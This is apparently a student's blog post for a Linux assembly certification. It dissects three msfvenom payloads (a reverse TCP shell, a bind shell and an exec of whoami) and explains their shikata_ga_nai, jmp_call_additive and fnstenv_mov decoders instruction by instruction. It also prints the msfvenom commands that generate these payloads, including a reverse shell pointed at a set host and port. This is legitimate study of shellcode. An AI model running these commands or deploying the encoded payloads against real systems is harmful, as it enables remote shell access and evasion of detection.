Assignment #5: Analyze thee shellcode samples generated from msfvenom

 In this assignment the goal was to analyze three shellcode samples generated from msfvenom.

The generated payloads included:



  • linux/x86/shell_reverse_tcp, encoded with shikata_ga_nai 
  • linux/x86/shell_bind_tcp, encoded with jmp_call_additive 
  • linux/x86/exec, encoded with fnstenv_mov 


The shell_reverse_tcp payload was generated using the following command:


msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp lhost=192.168.1.2 lport=21 -b '\x00' -e x86/shikata_ga_nai -f raw -o sc.bin


The payload was then passed to the libemu shellcode emulator called sctest. The reason for using this tool is to get an overall picture of what the payload does once executed.

The command used to pass the payload to sctest included:

cat sc.bin | ./sctest -vvv -Ss 99999 -G sc.dot; dot -Tpng -o sc.png sc.dot

The image shown below was created from sctest and shows a unique value passed into eax, a GetPC technique using fstenv, a counter is set for a loop performing an xor operation over a chunk of data stored on the stack, then after the loop is performed  the decoded payload is then executed.






The GetPC technique uses the FSTENV instruction to store the contents that is passed in by the FLDZ instruction by pushing the address of the FLDZ instruction at offset 0x0C onto the stack, fnstenv [esp - 0xc] and obtains EIP by popping the address back into a register (edx). In addition edx contains a copy of the stack, which will be used in an xor operation to decode the shell_reverse_tcp payload, as shown in the following images. 






The encoder behind shikata_ga_nai is  a polymorphic XOR additive feedback encoder. Its polymorphic do to using randomly generated values applied as the xor key. 

The instructions entails:


  • mov    eax,0x6ff03ba4   ; mov xor key into eax
  • fld    st(6) ; load fpu stored in st(6) onto stack
  • fnstenv [esp-0xc] ; pushes FPU operating environment (fld st(6)) on stack, ESP now points to 0x00404045 
  • pop    edx ; pops address 0x00404045 into edx
  • xor    ecx,ecx ; clear ecx 
  • mov    cl,0x12  ; set counter
  • xor    DWORD PTR [edx+0x12],eax ; xor 8 byte block stored on [edx+0x12] with key[0x6ff03ba4]
  • add    eax,DWORD PTR [edx+0x12] ; add the decoded bytes to xor key (key will be random)
  • add    edx,0x4 ; add next 8 byte block to be xored
  • loop   0x404050 ; loop 12 times
The instructions used to create the linux/x86/shell_reverse_tcp include:






The linux/x86/shell_bind_tcp was generated using

msfvenom -a x86 --platform linux -p linux/x86/shell_bind_tcp lport=21 -b '\x00' -e x86/jmp_call_additive -f raw -o sc1.bin. Which was then passed to sctest by executing 

cat sc1.bin | ./sctest -vvv -Ss 99999 -G sc1.dot; dot -Tpng -o sc1.png sc1.dot. To generate the following image:

The image entails a unique value (0xb45c982c ) being passed into ebx (mov ebx, 0xb45c982c) Then a GETPC technique (jmp call pop) is used to control EIP and obtain the linux/x86/shell_bind_tcp encoded payload, in order to decode it, with the key passed into ebx using an XOR Additive Feedback Encoder.  The XOR Additive Feedback Encoder included in this payload uses the following instructions:
  • pop    esi ; pops stack into esi
  • push   esi ; saves stack
  • xor     DWORD PTR [esi], ebx ; xor 8 bytes on the stack, with key[0xb45c982c]
  • lods    eax, DWORD PTR ds:[esi]   ; loads the decoded 8 byte block into eax 
  • add     ebx, eax ; add the decoded 8 bytes to xor key (key becomes random)
  • test     eax, eax ; perform bitwise AND against the value stored in EAX, with the decoded 8 bytes 
  • jne    0x40404a  ; if result in eax is not equal jmp back to xoring the next 8 bytes on stac
  • ret ; return to the decoed shellcode
The difference between  shikata_ga_nai and jmp_call_additive  encoder in msf are the GetPC techniques.

The instructions used to create linux/x86/shell_bind_tcp entails:





The linux/x86/exec payload was created using the following command:


msfvenom -a x86 --platform linux -p linux/x86/exec cmd=whoami -b '\x00' -e x86/fnstenv_mov -f raw -o exec.bin, and was passed into sctest and dot to obtain the following output:



What's presented in this output includes a push 0xb (12) and a pop ecx instruction which is used to set a counter for a loop that will perform an xor operation on data stored on the stack using a hardcoded value: 0x2099bd93. In order to obtain contents on stack and control EIP the fnstenv GetPC technique is used. The breakdown of decoding operation includes:

  • push   0xb     ; push 0xb (12) onto the stack
  • pop    ecx     ; pops 12 into ecx, which sets the counter to 12
  • fldz           ; execute push 0+0 
  • fnstenv [esp-0xc] ; save fpu stack env eip now points to the saved address of the stack
  • pop    ebx     ; pop stack into ebx
  • xor    DWORD PTR [ebx+0x13],0x2099bd93 ; xor starting 8 byte block:0x00404056 ^ 0x2099bd93
  • sub    ebx,0xfffffffc   ; mov to the next 8 byte block (we move from high to low address on stack)
  • loop   0x40404a; we loop 12 times


After decoding the contents on the stack, the linux/x86/exec payload is transferred by issuing these next set of instructions:
  • push   0xb     
  • pop    eax  ; pop sys_execve value (0xb) into eax 
  • cdq         ; cdq converts doubleword to quadword (extends the sign bit of eax into edx) *clever way to put 0x0 into edx  (eax == 0x12, sf = 0, edx == 0x00000000)
  • push   edx     ; push contents in edx (0x00000000) onto the stack
  • pushw  0x632d  ; push '-c' onto the stack, this is used to execute a user defined command
  • mov    edi, esp   ; sets edi to point to '-c' 
  • push   0x68732f   ; pushes /sh onto the stack
  • push   0x6e69622f ; pushes /bin onto the stack
  • mov    ebx, esp   ; sets ebx to point to /bin/sh 
  • push   edx        ; push (0x00000000) onto the stack
  • call   0x40407a   ;the instructions starting at 0x40407a include:
    • push   edi        ; pushes contents in edi (-c) onto the stack
    • push   ebx        ; pushes contents in ebx (/bin/sh) onto the stack
    • mov    ecx, esp   ; sets ecx to point to /bin/sh -c 
    • int    0x80       ; executes sys_execve(/bin/sh -c) 
    • the return instruction after the call passes in the user defined command   
    • ret 0x00404073: ja     0x4040dd        ; 0x616f6877 = whoami
    

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: PA-7730
All source files can be found on GitHub at https://github.com/br0ns0n/SLAE32

Comments

Popular Posts